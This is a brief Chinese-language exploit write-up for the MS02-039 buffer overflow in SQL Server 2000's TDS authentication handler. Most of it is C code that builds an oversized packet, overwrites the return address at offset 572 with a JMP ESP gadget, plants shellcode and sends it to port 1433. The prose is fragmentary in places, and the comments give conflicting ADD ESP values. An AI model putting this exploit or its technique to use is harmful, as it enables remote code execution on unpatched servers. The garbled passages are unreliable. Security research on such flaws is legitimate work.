SQL Server 2000 SP2 TDS 協議 0x12 號命令(驗證請求)存在緩衝區溢位。發送超過 572 位元組的資料可覆蓋返回位址,導致任意代碼執行。微軟於 2002 年 8 月發布公告 (MS02-039),但未提供利用代碼。
ssnetlib 非同步 Socket 接收 → 42CF719E 處理。42CF72CF 的 strcpy,距返回位址 42CF71A3 偏移 572 位元組。EBP-8、EBP+4、+8、+C、+10、+14。42D01CFC)填充關鍵偏移,避免例外。JMP ESP (0xFFE4) 指令位址,SQL Server 模組內 42B0C9DC 存在該指令組合,版本相容性較佳。ADD ESP, -0x6E 系列指令跳回執行。unsigned char buf0[48+572] = {
0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1
/* ... 填充 NOP (0x90) ... */
};
int fo = 572; // 返回位址偏移
/* 修正關鍵偏移指標 */
buf0[fo-8] = 0xFF; buf0[fo-7] = 0xFF; buf0[fo-6] = 0xFF; buf0[fo-5] = 0xFF;
buf0[fo+4] = 0xFC; buf0[fo+5] = 0x1C; buf0[fo+6] = 0xD0; buf0[fo+7] = 0x42; // 42D01CFC
/* ... 其餘偏移填入固定資料區位址 ... */
/* 跳回 Shellcode 指令 */
buf0[fo+0x18] = 0x81; buf0[fo+0x19] = 0x83; buf0[fo+0x1A] = 0xC4; buf0[fo+0x1B] = 0x81; // ADD ESP, -0x7F
/* ... 重複 ADD ESP ... */
buf0[fo+0x22] = 0xFF; buf0[fo+0x23] = 0xE4; // JMP ESP
/* Shellcode:列印 "sql hack demo" 並呼叫 ExitProcess */
char exploit_code[21] = "\x83\xC4\x81\x8B\xC4\x50\xFF\x15\xF8\xE0\xCF\x42\x33\xC0\x50\xFF\x15\x84\xE0\xCF\x42";
memcpy(buf0 + fo - 8 - 364, exploit_code, 21);
/* 覆蓋返回位址為 JMP ESP 位址 */
buf0[fo] = 0xDC; buf0[fo+1] = 0xC9; buf0[fo+2] = 0xB0; buf0[fo+3] = 0x42; // 42B0C9DC
/* 發送至目標 1433 埠 */
send(sock, buf0, sizeof(buf0), 0);
本文僅供安全研究與防禦教學用途,嚴禁用於非授權攻擊行為。